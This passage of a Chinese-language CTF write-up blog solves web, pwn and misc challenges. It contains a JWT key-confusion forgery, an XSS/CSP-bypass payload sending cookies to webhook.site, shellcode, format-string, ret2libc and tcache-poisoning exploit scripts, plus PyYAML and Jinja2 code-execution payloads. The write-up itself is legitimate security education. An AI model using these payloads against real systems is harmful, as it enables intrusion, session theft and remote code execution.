0xf054f49a9c43b8efe0d9ef70f2f6a9ec346e25c354c062513ed660c410551707de9e8d6b022f956b575a8c03c64bbc0122c25cf500fade111eabc2efedf92cc4dedd035a5a78b07cd2624df9ed7fce0a98c706410eb30eb72415269f65216b8c06296ffa72c6e69f3c57f48122bdc50e9e272a085db146896f9141a200cad6dee2201a248374a523d6549ec703bb268a36fdeb414719d3dce2642b3966c2bb48ac5bc3c9dd56fd47dc56de1907b0bc234faae71f32f97c62bec79c7b26a06d5d4fc1276030b07f8651e8cc0b4930340c0fb21a9100d8741ec43b5eb1dd5b537d8d72f6825f8a7cd126454d0644de0e9f18957c9a6e2d1f6291065cf3daabb6e8e86a9a39e1cd1bfa84dc0d8ce61d9d56033e44b2992e9891f105228c92dd9d92833eff046094f230db29699fbf5ef517dcca9c11314d6437d682807bd0115d597dce803d518e3e3fb0005a005b739436bf9fde1fd9926090cc5360a60ce19dbdd910a88a13976104762b9868ec2d3775ff7ad7a8b3ef54b43476ecbc614278a46f9ba04f7a6dd846380533a227a59ceed1da7cfcc2dfe5501f7ea5ee3330b8cb0e7fa821c8007fd8eb90ef240c39466e42194580e054a8a390daa6b529b0a3ce82ba9419b431230e708a5f3182300a728cca50966c8ad37f76b7ed942c79c64d935bb16c512479b699641bb3a9479afd86c0b26e0376e3fed1d6c5e02c99d9ef
[+] Written to f054f49a9c43b8ef_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.H3tU0apxX9hOfqvCwL06Y2O2kserQFflVkpCJeVI5tg'
[+] Written to f054f49a9c43b8ef_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.4fyBL1da5J54fj7pP4dieoLu_tIsl4BH7vshHGMGX9s'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.H3tU0apxX9hOfqvCwL06Y2O2kserQFflVkpCJeVI5tg
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.4fyBL1da5J54fj7pP4dieoLu_tIsl4BH7vshHGMGX9s
這時再搭配上另一個jwt的工具重新簽一個username為Alex的jwt:
$ python /tmp/jwt_tool/jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgiLCJleHAiOjE2NDcxNDk1ODJ9. -T -X k -pk f054f49a9c43b8ef_65537_pkcs1.pem
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.5 \______| @ticarpi
Original JWT:
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] typ = "JWT"
[2] alg = "HS256"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] username = "Alex"
[2] exp = 1647149582 ==> TIMESTAMP = 2022-03-13 13:33:02 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
File loaded: f054f49a9c43b8ef_65537_pkcs1.pem
jwttool_a2902fd47f1c0f7d5d24747b3b100b1f - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgiLCJleHAiOjE2NDcxNDk1ODJ9.ODc40kVbR6LacfjJNGrarO1809ZsYB5uRLCAAqbzNf0
這時我們將這組jwt:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgiLCJleHAiOjE2NDcxNDk1ODJ9.ODc40kVbR6LacfjJNGrarO1809ZsYB5uRLCAAqbzNf0
作為cookie的auth,就能發現我們順利通過auth的驗證了!
接下來是XSS的部分,首先先看到過濾的方式:
// no XSS
message = message.replace(/"/g, """);
message = message.replace(/</g, "<");
message = message.replace(/>/g, ">");
// convert images and links
message = message.replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`);
message = message.replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`);
可以看到<">
都會被過濾掉,但是在過濾之後它又做了兩件事:先是將帶有.(png|jpg|gif)
的url放進iframe,再把沒有.(png|jpg|gif)
的url放進a
但這會產生一個問題:有沒有可能同一個url重複被replace呢? 答案是有的
"http://.pnghttp://AAAA".replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`).replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`)
可以看到上面這段javascript的結果是:
<iframe src="http://.png<a href="http://AAAA"></iframe>">http://AAAA"></iframe></a>
可以發現http://AAAA"
跳脫出了雙引號!
且因為//
的效果等價空格,所以AAAA
的部分可以作為iframe的其中一個attribute!
於是當我們使用srcdoc:
document.write("http://.pnghttp://srcdoc=aaaaaa".replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`).replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`))
可以看到上面的javascript執行完後,aaaaa
成功的被放進srcdoc了!
若是要將<tag>aaaa</tag>
放進srcdoc,只需要將<tag>aaaa</tag>
用HTML encode就可以了!
e.g.
document.write("http://.pnghttp://srcdoc=<h1>aaaaaa</h1>".replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`).replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`))
接下來,我們就剩最後一個步驟,那就是繞過CSP。
這題的CSP為:
Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'nonce-01003dcc855cc89dcb46c75ac110c2b8'; font-src https://fonts.googleapis.com/ https://fonts.gstatic.com/; object-src 'none'; base-uri 'none'; script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/;
可以注意到,script-src
規定只有'self'
和來自
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/
的script可以被執行
那要怎麼繞過這個看似嚴格的CSP呢?
可以發現cdnjs.cloudflare.com
的server在處理url得時候,會將路徑中的%2f
nomarlize成/
,也就是說:
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js
實際上會指向:
https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.5/angular.min.js
所以只要使用
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js
,就能繞過CSP,引用angular.js
!
這時,我們只需利用angular.js
的script gadget,就能XSS了!
以下我使用在PortSwigger上看到的angular.js
的payload來達成:
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js"></script>
<body ng-app ng-csp>
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([top.location=\'https://webhook.site/25b55e24-84ed-4130-8cb0-203a29e65680/?f=\'+document.cookie], alert)'">
</body>
完整payload:
http://.pnghttp://srcdoc=<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js"></script>
<body ng-app ng-csp>
    <input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([top.location=\'https://webhook.site/25b55e24-84ed-4130-8cb0-203a29e65680/?f=\'+document.cookie], alert)'">
</body>
report給admin後收到的cookie:
auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgifQ.IO9Hg0MvLDQ4y4t6lFRGhrmL_WebBYJZKxCr044Pfympn3F_j6RYqXyCcYnOSN1AMPOgCdLdehOtTtxeO8BTCmnAzvJQUHssjHSIGCZCLZGVD-gu7ShCaAtzBhHv-ogHLtAmgM_GdPTKAJuSnsmLmBRqLht4dd3Pz_mUoy6PA9x1DHp5e7sOraebIwS2TLxGHvax_kiZ0aqfmc04i3ZsCaKcjifQ6HhmabhJL94TTkPyf2aKJeiIEoPx4GKwSwzUAv8i8-4yWNS1J5VC4v6tuJePzpydSN0geFKEGVBzJWTikb0HOx6knyBeYRWf3G8KwPuK5-aR_gsDL9cm7fXpa_6bUdBD6zicmjl4zLyXx8AI-w6MKDRslnRqGg3jyJIiAWssepI69StqVfdiDXL7HuD6C59UeRXNRyVwZ1SaDtdnqUxDfPlcjmkUE8b72yNUeFwtc_7VFWlme4JZcbwMY6-929cVGBLfYEvnk1cbrbYuPmNHlKMpm4E71ZawYnyzFL8FnFuRxVQC3AHMu1a8QVl9l4fpKsIr2Xd5v8XUtTN1qOCmaNpPV8FW_jsiZyfuY_eUoqYD49z4fDKB09MYhCZDWjNsFmgEs62jF1bGun8TdbFhH7P2kImNPOdGpPH0aqAaX08WTcCIktbvkuFI8Qwa0tcwNPDznesAJYlQhdg; flag=1337UP{Hello_Al3x_H0w_ar3You}
flag: 1337UP{Hello_Al3x_H0w_ar3You}
關鍵的code:
int easy_register()
{
char v1[80]; // [rsp+0h] [rbp-50h] BYREF
printf("[\x1B[34mi\x1B[0m] Initialized attendee listing at %p.\n", v1);
puts("[\x1B[34mi\x1B[0m] Starting registration application.\n");
printf("Hacker name > ");
gets(v1);
puts("\n[\x1B[32m+\x1B[0m] Registration completed. Enjoy!");
return puts("[\x1B[32m+\x1B[0m] Exiting.");
}
很水,printf直接送你buffer的位置,又因為這題的stack是rwx、沒canary,所以用gets輸入shellcode並把saved rip蓋成buffer address就可以了
exploit:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./easy_register_patched")
context.binary = exe
context.arch = 'amd64'
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], "b main")
else:
r = remote("easyregister.ctf.intigriti.io", 7777)
return r
def main():
r = conn()
r.recvuntil(b'listing at ')
buffer_addr = int(r.recvline()[:-2].split(b'0x')[-1], 16)
payload = flat({0x00:b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05", 0x58:p64(buffer_addr)}, filler='\x90')
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
flag:
$ cat f*
1337UP{Y0u_ju5t_r3g15t3r3d_f0r_50m3_p01nt5}
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
banner(argc, argv, envp);
cage();
restart();
puts("\n[\x1B[32m+\x1B[0m] Exiting.");
return 0;
}
cage:
unsigned __int64 cage()
{
char v1; // [rsp+Bh] [rbp-1A5h]
int i; // [rsp+Ch] [rbp-1A4h]
int j; // [rsp+Ch] [rbp-1A4h]
int v4; // [rsp+10h] [rbp-1A0h]
char needle[48]; // [rsp+20h] [rbp-190h] BYREF
__int64 v6[10]; // [rsp+50h] [rbp-160h] BYREF
char buf[264]; // [rsp+A0h] [rbp-110h] BYREF
unsigned __int64 v8; // [rsp+1A8h] [rbp-8h]
v8 = __readfsqword(0x28u);
puts("\n[\x1B[34mi\x1B[0m] Name your favorite bird:");
read(0, buf, 0xFAuLL);
if ( (int)strlen(buf) <= 64 )
{
puts(" __.-.__");
puts(" _.-' ' ` `-._");
puts(" .' ' ' ` ` `.");
puts(" ( ' ' ` ` )");
puts(" |`-,..,.____..,.,--;|");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |; | :| : | : |: ||");
puts(" /`-!...|____|...!--'\\");
puts(" / \\");
puts(" `--...._________....--'");
puts("\n[\x1B[31mx\x1B[0m] The cage is empty.");
}
else
{
qmemcpy(v6, "ADDBDADBDGDGADD@AFAEDEDAAFDBDFDGDGACDCDAD@DEADAADFDODODDDBDADNDGGG", 66);
for ( i = 0; i <= 65; ++i )
*((_BYTE *)v6 + i) ^= 0x77u;
v1 = 0;
for ( j = 0; j <= 65; ++j )
{
if ( (j & 1) != 0 )
needle[v4++] = hex_to_ascii((unsigned int)v1, (unsigned int)*((char *)v6 + j));
else
v1 = *((_BYTE *)v6 + j);
}
if ( strstr(buf, needle) )
{
puts(" __.-.__");
puts(" _.-' ' ` `-._");
puts(" .' ' ' ` ` `.");
puts(" ( ' ' ` ` )");
puts(" |`-,..,.____..,.,--;|");
puts(" |: | :| : | : |: ||");
puts(" |: | :| (9>| : |: ||");
puts(" |: | :|(\\) | : |: ||");
puts(" |: | :|/\\\\ | : |: ||");
puts(" |: | /| II | : |: ||");
puts(" |: |///| II | : |: ||");
puts(" |; | :| II | : |: ||");
puts(" /`-!...|____|...!--'\\");
puts(" / \\");
puts(" `--...._________....--'");
printf("\n[\x1B[32m+\x1B[0m] The bird is singing: ");
printf(buf);
}
}
return __readfsqword(0x28u) ^ v8;
}
restart:
unsigned __int64 restart()
{
char v1[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("\n[\x1B[34mi\x1B[0m] Did you hear the bird's song? (y/n) ");
gets(v1);
if ( v1[0] == 110 )
cage();
else
puts("\n[\x1B[34mi\x1B[0m] Okay good!");
return __readfsqword(0x28u) ^ v2;
}
這題有開canary
如果cage的strstr那邊是true的話,就會觸發有fmt漏洞的printf
由於strstr去查詢的那串字串是固定的,用gdb測試一下可以看到是: c56500c7ab26a5100d4672cf18835690
所以只需要放上這串東西,再搭配fmt就可以穩定的leak stack上的東西,所以canary和libc的位置就不是問題了(分別是%59$p
和%63$p
)
可以看到restart的部分是直接用gets,所以只需要用剛剛leak出來的canary來避免stack smashing的error再ret2libc就可以了
exploit:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./bird_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], "b *restart+52")
else:
r = remote("bird.ctf.intigriti.io", 7777)
return r
def main():
r = conn()
payload = flat({0x00: b'c56500c7ab26a5100d4672cf18835690' + b'%59$p' + b'%63$p' + b'END'},filler=b'A', length=65)
r.sendafter(b'Name your favorite bird:', payload)
_, canary, __libc_start_main_231 = r.recvuntil(b'END', drop=True).split(b'0x')
canary = bytes.fromhex(canary.decode())[::-1]
libc.address = int(__libc_start_main_231, 16) - (libc.symbols['__libc_start_main'] + 231)
success(f'canary: {canary}')
success(f'libc base: {libc.address:#x}')
success(f'system: {libc.symbols["system"]:#x}')
ret = lambda: p64(0x400606)
rdi = lambda x: p64(0x400d43) + p64(x)
payload = flat({0x60-0x8: canary, 0x60+0x8: ret() + rdi(next(libc.search(b'/bin/sh\0'))) + p64(libc.symbols["system"])}, filler=b'y')
r.sendlineafter(b'(y/n) ', payload)
r.interactive()
if __name__ == "__main__":
main()
flag:
$ cat f*
1337UP{W3_1ov3_C4n4r13s_7h47_r37urn_7o_l1bc}
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-94h] BYREF
char v5[120]; // [rsp+10h] [rbp-90h] BYREF
int v6; // [rsp+88h] [rbp-18h]
__int16 v7; // [rsp+8Ch] [rbp-14h]
int v8; // [rsp+98h] [rbp-8h] BYREF
int v9; // [rsp+9Ch] [rbp-4h]
v9 = 6;
v8 = 0;
memset(v5, 0, sizeof(v5));
v6 = 0;
v7 = 0;
v4 = 0;
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
puts("Welcome to my cake taste test!\n");
while ( v9 > v8 )
menu((__int64)v5, (__int64)&v8, (__int64)&v4);
puts("Ok, you have had enought cake. Bye!");
return 0;
}
menu:
__int64 __fastcall menu(__int64 a1, __int64 a2, __int64 a3)
{
int v5; // [rsp+2Ch] [rbp-4h] BYREF
v5 = 0;
puts("What would you like to do?");
puts("1) Take a bite of cake!");
puts("2) Give the chef a suggestion.");
puts("3) View my suggestion.\n");
while ( 1 )
{
printf("> ");
__isoc99_scanf("%d", &v5);
if ( v5 == 1 )
return eat(a2);
if ( v5 == 2 )
return make_suggestion(a1, a3);
if ( v5 == 3 )
break;
puts("That's not a valid choice. Choose again!");
clean_stdin();
}
return print_suggestion(a1, a3);
}
eat:
int __fastcall eat(unsigned int *a1)
{
char buf[256]; // [rsp+10h] [rbp-100h] BYREF
printf("Bites taken: %d\n", *a1);
printf("How many bites would you like? (1, 2, or 3): ");
fflush(_bss_start);
read(0, buf, 0x101uLL);
if ( buf[0] <= 48 || buf[0] > 51 )
return puts("That was not a valid amount :(\n");
*a1 += buf[0] - 48;
return puts("Yummy!\n");
}
make_suggesion:
int __fastcall make_suggestion(char *a1, _DWORD *a2)
{
if ( *a2 )
return puts("You've already given our chef a suggestion. Don't overwhelm him!\n");
puts("What could our chef do better?");
clean_stdin();
fgets(a1, 126, stdin);
*a2 = 1;
return puts("Thanks for the suggestion, we will let her know!\n");
}
print_suggesion:
int __fastcall print_suggestion(const char *a1, _DWORD *a2)
{
if ( !*a2 )
return puts("You haven't made a suggestion.\n");
printf(a1);
return putchar(10);
}
這題保護全關,而且可以看到print_suggestion
有fmt的漏洞(怎麼又是fmt…),而make_suggestion
的部分可以輸入126 bytes給printf用,但他會檢查*a2是否為0,若是0則可以輸入,但輸入完就會立刻把*a2設成1
首先第一次printf的時候除了leak libc之外,因為a2的address在stack上,所以可以順便把它寫成0,方便再次make_suggestion
第二次printf將fflush的got蓋成_start,這時再呼叫eat
,即可重頭執行一次
(之所以這麼做是因為如果現在就把fflush或其他menu
call的到的function的got蓋成one_gadget,因為都不符合constraints,所以無法執行)
第三次printf將setbuf的got蓋成one_gadget後,再次執行eat,因為setbuf會被main觸發,且stack上的狀況符合one_gadget的constraints,所以就能順利get shell了!
exploit:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./cake_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], '''
# init-pwndbg
b *print_suggestion+38
''')
else:
r = remote("cake.ctf.intigriti.io", 9999)
return r
def main():
r = conn()
r.sendlineafter(b'> ', b'2')
payload = b'%6$n'
payload += b'%39$pEND'
r.sendlineafter(b'?\n', payload)
r.sendlineafter(b'> ', b'3')
libc.address = int(r.recvuntil(b'END', drop=True).split(b'0x')[-1], 16) - (libc.symbols['__libc_start_main'] + 231)
success(f'libc base: {libc.address:#x}')
one_gadget_off = 0x4f432
one_gadget_addr = libc.address + one_gadget_off
success(f'one_gadget: {one_gadget_addr:#x}')
payload = fmtstr_payload(20, {exe.got['fflush']: exe.symbols['_start']})
assert len(payload) <= 125
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'?\n', payload)
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'> ', b'1')
payload = fmtstr_payload(20, {exe.got['setbuf']: one_gadget_addr})
assert len(payload) <= 125
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'?\n', payload)
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'> ', b'1')
r.sendline(b'echo -n sanity check')
r.recvuntil(b'sanity check')
r.interactive()
if __name__ == "__main__":
main()
flag:
$ cat f*
1337UP{Wow_that_was_Quite_the_journey!}
他會讀flag到stack上,fmt again…
太水了,沒什麼好解釋,直接上exploit:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./search_engine_redacted_patched")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], "b main")
else:
r = remote("searchengine.ctf.intigriti.io", 1337)
return r
def main():
r = conn()
offset = 12
payload = "$p".join(f'%{i}' for i in range(offset, offset+5)).encode() + b'$p'
r.sendline(payload)
r.recvuntil(b'You searched for - ')
# print(r.recvline())
leaked = [bytes.fromhex(s.decode())[::-1] for s in r.recvline().replace(b'(nil)',b'').split(b'0x') if s]
print(b''.join(leaked))
r.interactive()
if __name__ == "__main__":
main()
flag:
[+] Opening connection to searchengine.ctf.intigriti.io on port 1337: Done
b'1337UP{Th3s3_f0rm4ts_ar3_wh4ck!}\x00U\xe8\xa7\xfc\x7f'
這場的CTFd一開始不知為啥掛掉,讓人感覺很差,但Contact Alex這題實在太讚了,所以算是有彌補一開始的不愉快XD
]]>這次自己參加了DefCamp CTF,這場我總共解了1題web, 2題pwn, 2題misc,以下紀錄我比賽時的解法與學到的東西
亂試了一下,可以從error message發現,這題會把你的輸入用PYYaml的yaml.load
去deserialize
而這題的目標就是利用PYYaml來get shell
payload很多,我這裡是使用tuple(map(eval, ["CODE"])
的方式來eval
雖然能eval,但題目還是簡單做了一下sandbox,如果想要直接__import__('os')
會error,還有例如Popen這種關鍵字也會error
我猜intended solution應該是把os用絕對路徑去import,但我懶得去繞他的sandbox了
所以我試著用_xxsubinterpreters
來get shell,因為這東西不好擋,甚至可以拿來繞audithook,而這個題目感覺就擋不掉
試了一下發現如我所料,順利get shell了
yaml的payload:
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ '[xs:=__import__("_xxsubinterpreters"),sub:=xs.create(),xs.run_string(sub,"__import__(\"os\").system(\"cat f*\")"),xs.destroy(sub)]' ]]]
solve.py:
from pwn import *
HOST = '34.159.3.158'
PORT = 32062
# context.log_level = 'debug'
def main():
r = remote(HOST, PORT)
with open("exploit.yaml", "rb") as f:
payload = f.read()
info("payload:")
info(payload.decode())
r.sendline(payload)
r.recvuntil(b"CTF")
success(f"flag: CTF{r.recvuntil(b'}').decode()}")
if __name__ == '__main__':
main()
flag: CTF{b4b7ad802bf06191e9d68127e718d375933ed30d26c72d71b26b5f437ca726d8}
這題跟raw-proto一樣是pyjail類型的題目,但這次使用jinja2.Template
來render使用者的輸入
可以從error message看到他的執行方式:
Traceback (most recent call last):
File "/home/ctf/server.py", line 8, in <module>
print(Template("+inputval+").render())
稍微試了一下,還可以發現_
會被過濾,但很好繞,用\x5f
就繞掉了
一開始我嘗試使用().__class__.__base__.__subclasses__()
來拿__builtins__
,但發現沒有一個class能讓我拿到__builtins__
在local用debugger追進Template.render
裡面可以發現,在compile template的時候,其實自帶了幾個global variables: range, dict, lipsum, cycler, joiner, namespace
在經過簡單的測試可以發現他們都能連結到__globals__
!
payload如下:
lipsum['__globals__']['__builtins__']['__import__']('os').system('ls')
cycler['__init__']['__globals__']['__builtins__']['__import__']('os').system('ls')
joiner['__init__']['__globals__']['__builtins__']['__import__']('os').system('ls')
namespace['__init__']['__globals__']['__builtins__']['__import__']('os').system('ls')
最後我使用了lipsum,並把_
換成\x5f
,成功拿到shell
solve.py:
from pwn import *
ADDRESS = "34.159.3.158"
PORT = 32077
def main():
r = remote(ADDRESS, PORT)
cmd = b"cat f*"
payload = b"lipsum['__globals__']['__builtins__']['__import__']('os').system('%s')".replace(b"_", b"\\x5f")
payload = payload % cmd
info("payload:")
info(payload.decode())
r.sendline(payload)
success(r.recvall().decode().replace("\r", ""))
if __name__ == '__main__':
main()
flag: CTF{3497acdc5cdb795851f334a6c8f401a1e2504b4d05283b6b599e7b6dc42cc200}
這題沒開PIE, Patrial Relo, 也沒canary,幾乎沒有保護
vuln的Pseudocode:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-1Ch] BYREF
void *buf; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
buf = 0LL;
ptr = 0LL;
init(argc, argv, envp);
while ( 1 )
{
puts("MENU");
puts("1: Make new admin");
puts("2: Make new user");
puts("3: Print admin info");
puts("4: Edit Student Name");
puts("5: Print Student Name");
puts("6: Delete admin");
puts("7: Delete user");
printf("\nChoice: ");
fflush(stdout);
__isoc99_scanf("%d%*c", &v3);
switch ( v3 )
{
case 1:
ptr = malloc(0x10uLL);
*((_QWORD *)ptr + 1) = admin_info;
*(_QWORD *)ptr = getFlag;
break;
case 2:
buf = malloc(0x10uLL);
printf("What is your name: ");
fflush(stdout);
read(0, buf, 0x10uLL);
break;
case 3:
(*((void (**)(void))ptr + 1))();
break;
case 4:
printf("What is your name: ");
fflush(stdout);
read(0, buf, 0x10uLL);
break;
case 5:
if ( buf )
printf("Students name is %s\n", (const char *)buf);
else
puts("New student has not been created yet");
break;
case 6:
free(ptr);
break;
case 7:
free(buf);
break;
default:
puts("bad input");
break;
}
}
}
可以看到case 6, 7有很明顯的uaf,且case 3可以呼叫chunk裡的function ptr
此外,ELF裡面還有一個叫showFlag
的function可以cat flag.txt
,所以一開始我就興高采烈的用uaf把showFlag
的ptr寫進free chunk,再malloc新的admin來呼叫showFlag
但沒想到被Rick Roll了,flag.txt
裡面放的是youtube網址…
真正的解答是要利用tcache來任意位置讀寫
步驟如下:
利用case 2
的功能malloc
一個chunk放進buf
裡,再free(buf)
利用case 5
的功能把free
的GOT表位置寫進剛剛free
掉的chunk的fd
利用case 2
的功能再次malloc
,由於剛剛的free chunk的fd被改寫成指向free GOT,所以下一次malloc
時獲得的chunk位置將是free GOT - 0x10
利用case 2
的功能再次malloc
,這次的chunk位置轉移到free GOT - 0x10,此時buf指向的位置即為free GOT
利用case 5
的功能leak free的function ptr來leak libc,要注意的是: 使用case 2
的功能時至少會改寫1 byte的資料,故現在buf中儲存的free的function ptr的最後1 byte是錯的,所以在減掉free的offset的時候要修正
現在libc的base有了,one_gadget的位置我們也就獲得了,這時再利用case 5
的功能把free的function ptr改掉來達成GOT hijack
呼叫free
,get shell
solve.py:
#!/usr/bin/env python3
from pwn import *
from typing import Union
from types import MethodType
import sys
exe = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], '''
b *main+275
b *main+484
b *main+428
b *main+509
b *main+534
''')
else:
r = remote("35.246.134.224", 30532)
return r
def add_admin(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"1")
def add_username(self: Union[process, connect], user_data):
self.sendlineafter(b"Choice: ", b"2")
self.sendafter(b"What is your name: ", user_data)
def display_admin(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"3")
def edit_username(self: Union[process, connect], user_data):
self.sendlineafter(b"Choice: ", b"4")
self.sendafter(b"What is your name: ", user_data)
def display_user(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"5")
self.recvuntil(b'Students name is ')
return self.recvuntil(b"\nMENU", drop=True)
def delete_admin(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"6")
def delete_user(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"7")
def main():
r = conn()
r.add_admin = MethodType(add_admin, r)
r.add_user = MethodType(add_username, r)
r.display_admin = MethodType(display_admin, r)
r.edit_username = MethodType(edit_username, r)
r.display_user = MethodType(display_user, r)
r.delete_admin = MethodType(delete_admin, r)
r.delete_user = MethodType(delete_user, r)
r.add_admin()
r.add_user(b'A')
r.delete_user()
r.edit_username(p64(exe.got['free']))
r.add_user(b'A')
r.add_user(b'A')
libc.address = int.from_bytes(r.display_user(), byteorder='little') - ((libc.symbols['free'] & ~0xff) + 0x41)
success(f'libc base: 0x{libc.address:x}')
one_gadget = libc.address + 0x10a38c # one_gadget libc.so.6
success(f'one_gadget: 0x{one_gadget:x}')
r.edit_username(p64(one_gadget))
r.delete_admin()
r.interactive()
if __name__ == "__main__":
main()
flag:
$ ls
flag.txt ld-2.27.so libc.so.6 real_flag.txt vuln vuln.c
$ cat r*
